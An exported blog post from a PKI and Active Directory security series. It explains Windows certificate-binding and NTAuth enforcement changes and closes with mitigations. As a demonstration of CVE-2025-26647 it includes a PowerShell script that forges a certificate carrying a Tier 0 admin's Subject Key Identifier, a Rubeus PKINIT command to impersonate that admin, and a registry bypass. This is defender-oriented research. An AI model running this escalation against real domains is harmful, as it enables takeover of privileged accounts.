{"id":1284,"date":"2025-10-14T07:09:52","date_gmt":"2025-10-14T05:09:52","guid":{"rendered":"https:\/\/blog.chrisse.se\/?p=1284"},"modified":"2025-10-18T20:30:30","modified_gmt":"2025-10-18T18:30:30","slug":"when-your-enterprise-pki-becomes-one-of-your-enemies-part-7","status":"publish","type":"post","link":"https:\/\/blog.chrisse.se\/?p=1284","title":{"rendered":"When your Enterprise PKI becomes one of your enemies (Part 7)"},"content":{"rendered":"\n<p><em>Hybrid Identity<\/em>\u00a0Protection (HIP) Conference 2025 is over and I presented on the Active Directory and PKI subject again: &#8220;Enterprise PKI Today: Friend or Foe&#8221;<br><br>Now available to watch online: <a href=\"https:\/\/www.hipconf.com\/resources\/enterprise-pki-today-friend-or-foe\/\">Enterprise PKI Today: Friend or Foe? &#8211; Hip Conf<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"577\" height=\"1024\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d-577x1024.png\" alt=\"\" class=\"wp-image-1285\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d-577x1024.png 577w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d-169x300.png 169w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d-768x1364.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d-865x1536.png 865w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/4e3ec106-dc2f-4546-9bf0-7d75ecca887d.png 1153w\" sizes=\"auto, (max-width: 577px) 100vw, 577px\" \/><\/figure>\n\n\n\n<p><strong>StrongCertificateBindingEnforcement vs NTAuthEnforcement<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"355\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-1-1024x355.png\" alt=\"\" class=\"wp-image-1288\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-1-1024x355.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-1-300x104.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-1-768x266.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-1.png 1266w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>StrongCertificateBindingEnforcement has been mandatory since 10th of September 2025 with no supported way of doing a optout to Compatibility Mode. Enforcing this took over 3 years &#8211; and where still not done &#8211; while the &#8216;StrongCertificateBindingEnforcement&#8217; registry key is gone from &#8220;kdcsvc.dll&#8221; with the September updates. However there is a new key available to still optout but that key is only intended for special cases and should NOT be used, but you can find it by string dumping the &#8220;kdcsvc.dll&#8221; at a specific offset.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.\\strings.exe -n 5 -o -f 671232 C:\\Windows\\system32\\kdcsvc.dll<\/code><\/pre>\n\n\n\n<p><strong>Please be aware that the StrongCertificateBindingEnforcement only protect you from what it was designed to &#8211; the following:<\/strong><br><\/p>\n\n\n\n<ol class=\"wp-block-list indent40\">\n<li class=\".indent40{padding-left: 40px;}\">dNSHostName\/servicePrincipalName computer owner abuse, Remove DNS SPNs from servicePrincipalName, steal DNS hostname of a DC, put it in your computer accounts dNSHostName attr and request a cert, auth (PKINIT) with the cert and you\u2019re a DC.<br><\/li>\n\n\n\n<li class=\".indent40{padding-left: 40px;}\">Overwrite userPrincipalName of user to be of target to hijack user account since the missing domain part does not violate an existing UPN<br><\/li>\n\n\n\n<li class=\".indent40{padding-left: 40px;}\">Overwrite userPrincipalName of user to be @ of target to hijack machine account since machine accounts don\u2019t have a UPN<br><\/li>\n\n\n\n<li class=\".indent40{padding-left: 40px;}\">Delete userPrincipalName of user and overwrite sAMAccountName to be without a trailing $ to hijack a machine account<\/li>\n<\/ol>\n\n\n\n<p>Note: 2-4 would require permissions to write to the \u2018userPrincipalName\u2019 attribute<\/p>\n\n\n\n<p><strong>It will NOT protect you from:<\/strong><\/p>\n\n\n\n<ol class=\"wp-block-list indent40\">\n<li>CAs trusted in your forest where you don\u2019t have a good security hygiene for issuance of certificates\n<ul class=\"wp-block-list\">\n<li>If someone can issue a certificate with subject + sid they own that security principal in your Active Directory Forest.<\/li>\n\n\n\n<li>Subject + SID in AltSubject is sadly enough &#8211; tag:microsoft.com,2022-09-14:sid:&lt;value&gt;<\/li>\n\n\n\n<li>\u2022If you\u2019re using Authentication Mechanism Assurance (AMA) \u2013 you must control\/prevent issuance with specific issuance policies.<br><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Bad certificate template hygiene\n<ul class=\"wp-block-list\">\n<li>Supply in the request (SITR) should never be published on a CA trusted in NTAuth<\/li>\n\n\n\n<li>Write access to certificate templates outside Tier 0 allows for SITR to be enabled.<br><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>3<sup>rd<\/sup> party\/standalone CAs or RA\u2019s\/EA\u2019s \u2013 you\u2019re on your own to block the above.<\/li>\n<\/ol>\n\n\n\n<p><strong>NTAuthEnforcement<\/strong><\/p>\n\n\n\n<p>Since July the NTAuthEnforcement has been enabled by default, meaning that all CAs that issue certificates to be used for PKINIT must be trusted in NTAuth &#8211; this changes the picture.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"467\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-2-1024x467.png\" alt=\"\" class=\"wp-image-1293\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-2-1024x467.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-2-300x137.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-2-768x350.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-2.png 1332w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<p>Before this new requirement it was possible to be trusted for PKINIT even if the issuing CA was not trusted in NTAuth &#8211; if a strong mapping method was used using AltSecID (altSecurityIdentities). This is no longer possible after CVE-2025-26647 as X509SKI (Subject Key Identifier) for example was considered a strong mapping, but it is possible to create a certificate with a designated SKI (Subject Key Identifier) from any trusted CA &#8211; this becomes problematic as you could create a SKI (Subject Key Identifier) of an existing mapped user &#8211; a T0 administrator for example and become that security principal within the forest.<br><br>In my past post &#8220;<a href=\"https:\/\/blog.chrisse.se\/?p=1247\">When your Enterprise PKI becomes one of your enemies (Part 6)<\/a>&#8221; i demonstrate how to &#8211; Create, Distribute and Force-Trust your own Fake CA within a forest to perform a T1 to T0 privilege escalation &#8211; at that time leverage Authentication Mechanism Assurance (AMA).<\/p>\n\n\n\n<p>But let&#8217;s using CVE-2025-26647 instead, let&#8217;s say we found a T0 &#8211; &#8220;strongly&#8221; mapped with SKI (Subject Key Identifier) within the Active Directory forest.<br><br>Looking something like this:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>Dn: CN=Carl S\u00f6rqvist (A0),OU=Tier0,DC=nttest,DC=chrisse,DC=com\naccountExpires: 9223372036854775807 (never); \naltSecurityIdentities: X509:&lt;SKI&gt;C97FACAFD474A962253C5EF55E72ED712B788905; \n<\/code><\/pre>\n\n\n\n<p>Given we have the private key for our fake CA available let&#8217;s create and sign a certificate with the same SKI (Subject Key Identifier)<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">Issue certificate with same SKI as exiting T0 admin<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>using namespace System.Security.Cryptography\nusing namespace System.Security.Cryptography.X509Certificates\nImport-Module -Name CertRequestTools\n$SKIExt = &#91;X509SubjectKeyIdentifierExtension&#93;::new(\"c97facafd474a962253c5ef55e72ed712b788905\", $false)\n$CRLDistInfo = &#91;CERTENClib.CCertEncodeCRLDistInfoClass&#93;::new()\n$CRLDistInfo.Reset(1)\n$CRLDistInfo.SetNameCount(0, 1)\n$CRLDistInfo.SetNameEntry(0, 0, 7, \"ldap:\/\/\/CN=Chrisse Root CA,CN=NTTEST-CA-01,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint\")\n$CRLDistInfoB64 = $CRLDistInfo.EncodeBlob(&#91;CERTENClib.EncodingType&#93;::XCN_CRYPT_STRING_BASE64)\n$CRLDistInfoExtManaged = &#91;System.Security.Cryptography.X509Certificates.X509Extension&#93;::new(\"2.5.29.31\", &#91;Convert&#93;::FromBase64String($CRLDistInfoB64), $false)\n\n $params = @{\n    Type = 'Custom'\n    Subject = 'CN=DEMO7 - casoski'\n    #KeySpec = 'Signature'\n    KeyExportPolicy = 'Exportable'\n    KeyLength = 2048\n    HashAlgorithm = 'sha256'\n    NotAfter = (Get-Date).AddMonths(10)\n    CertStoreLocation = 'Cert:\\CurrentUser\\My'\n    Signer = $signer\n    TextExtension = @(\n     '2.5.29.37={text}1.3.6.1.5.5.7.3.2',\n     '2.5.29.17={text}upn=caso@nttest.chrisse.com')\n    Extension =  $CRLDistInfoExtManaged, $SKIExt\nNew-SelfSignedCertificate @params\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Security.Cryptography<\/span><\/span>\n<span class=\"line\"><span style=\"color: #D32F2F\">using<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">namespace<\/span><span style=\"color: #24292EFF\"> System.Security.Cryptography.X509Certificates<\/span><\/span>\n<span class=\"line\"><span style=\"color: #6F42C1\">Import-Module<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">-<\/span><span style=\"color: #24292EFF\">Name CertRequestTools<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$SKIExt <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> &#91;<\/span><span style=\"color: #D32F2F\">X509SubjectKeyIdentifierExtension<\/span><span style=\"color: #24292EFF\">&#93;::new(<\/span><span style=\"color: #22863A\">&quot;c97facafd474a962253c5ef55e72ed712b788905&quot;<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$false<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfo <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> &#91;<\/span><span style=\"color: #D32F2F\">CERTENClib.CCertEncodeCRLDistInfoClass<\/span><span style=\"color: #24292EFF\">&#93;::new()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfo.Reset(<\/span><span style=\"color: #1976D2\">1<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfo.SetNameCount(<\/span><span style=\"color: #1976D2\">0<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">1<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfo.SetNameEntry(<\/span><span style=\"color: #1976D2\">0<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">0<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">7<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&quot;ldap:\/\/\/CN=Chrisse Root CA,CN=NTTEST-CA-01,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=nttest,DC=chrisse,DC=com?certificateRevocationList?base?objectClass=cRLDistributionPoint&quot;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfoB64 <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $CRLDistInfo.EncodeBlob(&#91;<\/span><span style=\"color: #D32F2F\">CERTENClib.EncodingType<\/span><span style=\"color: #24292EFF\">&#93;::XCN_CRYPT_STRING_BASE64)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">$CRLDistInfoExtManaged <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> &#91;<\/span><span style=\"color: #D32F2F\">System.Security.Cryptography.X509Certificates.X509Extension<\/span><span style=\"color: #24292EFF\">&#93;::new(<\/span><span style=\"color: #22863A\">&quot;2.5.29.31&quot;<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> &#91;<\/span><span style=\"color: #D32F2F\">Convert<\/span><span style=\"color: #24292EFF\">&#93;::FromBase64String($CRLDistInfoB64)<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">$false<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\"> $params <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">@<\/span><span style=\"color: #24292EFF\">{<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    Type <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&#39;Custom&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    Subject <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&#39;CN=DEMO7 - casoski&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    <\/span><span style=\"color: #C2C3C5\">#KeySpec = &#39;Signature&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    KeyExportPolicy <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&#39;Exportable&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    KeyLength <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #1976D2\">2048<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    HashAlgorithm <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&#39;sha256&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    NotAfter <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> (<\/span><span style=\"color: #6F42C1\">Get-Date<\/span><span style=\"color: #24292EFF\">).AddMonths(<\/span><span style=\"color: #1976D2\">10<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    CertStoreLocation <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #22863A\">&#39;Cert:\\CurrentUser\\My&#39;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    Signer <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> $signer<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    TextExtension <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">@<\/span><span style=\"color: #24292EFF\">(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">     <\/span><span style=\"color: #22863A\">&#39;2.5.29.37={text}1.3.6.1.5.5.7.3.2&#39;<\/span><span style=\"color: #D32F2F\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">     <\/span><span style=\"color: #22863A\">&#39;2.5.29.17={text}upn=caso@nttest.chrisse.com&#39;<\/span><span style=\"color: #24292EFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #24292EFF\">    Extension <\/span><span style=\"color: #D32F2F\">=<\/span><span style=\"color: #24292EFF\">  $CRLDistInfoExtManaged<\/span><span style=\"color: #D32F2F\">,<\/span><span style=\"color: #24292EFF\"> $SKIExt<\/span><\/span>\n<span class=\"line\"><span style=\"color: #6F42C1\">New-SelfSignedCertificate<\/span><span style=\"color: #24292EFF\"> @params<\/span><\/span>\n<span class=\"line\"><\/span><\/code><\/pre><\/div>\n\n\n\n<p>We can now use this certificate to perform PKINIT and become &#8220;Carl S\u00f6rqvist (A0)&#8221;<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#f2f2f2;color:#2f363c\">cmd<\/span><span role=\"button\" tabindex=\"0\" style=\"color:#24292eff;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>rubeus asktgt \/user:CASO \/certificate:&lt;HASH> \/enctype:aes256 \/createnetonly:C:\\Windows\\System32\\cmd.exe \/show<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki min-light\" style=\"background-color: #ffffff\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #24292EFF\">rubeus asktgt <\/span><span style=\"color: #D32F2F\">\/<\/span><span style=\"color: #24292EFF\">user:CASO <\/span><span style=\"color: #D32F2F\">\/<\/span><span style=\"color: #24292EFF\">certificate:<\/span><span style=\"color: #D32F2F\">&lt;<\/span><span style=\"color: #24292EFF\">HASH<\/span><span style=\"color: #D32F2F\">&gt;<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">\/<\/span><span style=\"color: #24292EFF\">enctype:aes256 <\/span><span style=\"color: #D32F2F\">\/<\/span><span style=\"color: #24292EFF\">createnetonly:C:\\Windows\\System32\\<\/span><span style=\"color: #6F42C1\">cmd.exe<\/span><span style=\"color: #24292EFF\"> <\/span><span style=\"color: #D32F2F\">\/<\/span><span style=\"color: #24292EFF\">show<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>You can for now until the October patch wave arrive opt-out from the NTAuthEnforcement but then you would be vulnerable to the above &#8220;HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\Kdc\\AllowNtAuthPolicyBypass=1&#8221;<\/p>\n\n\n\n<p><strong>Summary<\/strong><\/p>\n\n\n\n<p>Same mitigation as presented before applies &#8211; make sure you have two enterprise issuing CAs where one of them isn&#8217;t trusted in NTAuth &#8211; this one can publish &#8211; Supply in the request (SITR) templates, while the other CA that is in NTAuth &#8211; Never should have any &#8211; Supply in the request (SITR) templates published. <strong>All and both Enterprise CAs must be managed from T0<\/strong> this is very important, however they can issue certificates to lower tiers.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"472\" src=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-3-1024x472.png\" alt=\"\" class=\"wp-image-1294\" srcset=\"https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-3-1024x472.png 1024w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-3-300x138.png 300w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-3-768x354.png 768w, https:\/\/blog.chrisse.se\/wp-content\/uploads\/2025\/10\/image-3.png 1425w\" sizes=\"auto, (max-width: 767px) 89vw, (max-width: 1000px) 54vw, (max-width: 1071px) 543px, 580px\" \/><\/figure>\n\n\n\n<ul class=\"wp-block-list indent40\">\n<li>Strong Certificate Binding Enforcement protects against CVE-2022-34691, CVE-2022-26931 and CVE-2022-26923\n<ul class=\"wp-block-list\">\n<li>It will NOT protect against bad security hygiene on our CAs, Templates or information within your certificates.<br><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>NTAuth requirement will protect against CVE-2025-26647 and eliminate all other paths to PKINIT that didn\u2019t required NTAuth\n<ul class=\"wp-block-list\">\n<li>Fake CA Scenario<\/li>\n\n\n\n<li>AMA Abuse using altSecID from non-NTAuth CA<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>Note all my demos uses \u2018<a href=\"https:\/\/github.com\/CarlSorqvist\/PsCertTools\/tree\/main\/CertReqTools\">CertRequestTools<\/a>\u2018 from Carl S\u00f6rqvist and in this case also&nbsp;<a href=\"https:\/\/github.com\/GhostPack\/Rubeus\">Rubeus&nbsp;<\/a>from Will Schroeder.<\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hybrid Identity\u00a0Protection (HIP) Conference 2025 is over and I presented on the Active Directory and PKI subject again: &#8220;Enterprise PKI Today: Friend or Foe&#8221; Now available to watch online: Enterprise PKI Today: Friend or Foe? &#8211; Hip Conf StrongCertificateBindingEnforcement vs NTAuthEnforcement StrongCertificateBindingEnforcement has been mandatory since 10th of September 2025 with no supported way of &hellip; <\/p>\n<p class=\"link-more\"><a href=\"https:\/\/blog.chrisse.se\/?p=1284\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;When your Enterprise PKI becomes one of your enemies (Part 7)&#8221;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_exactmetrics_skip_tracking":false,"_exactmetrics_sitenote_active":false,"_exactmetrics_sitenote_note":"","_exactmetrics_sitenote_category":0,"footnotes":""},"categories":[41,36,1],"tags":[30,31],"class_list":["post-1284","post","type-post","status-publish","format-standard","hentry","category-active-directory","category-public-key-infrastructure-pki","category-uncategorized","tag-pki","tag-sitr"],"_links":{"self":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1284","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1284"}],"version-history":[{"count":11,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1284\/revisions"}],"predecessor-version":[{"id":1307,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=\/wp\/v2\/posts\/1284\/revisions\/1307"}],"wp:attachment":[{"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1284"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1284"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.chrisse.se\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1284"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}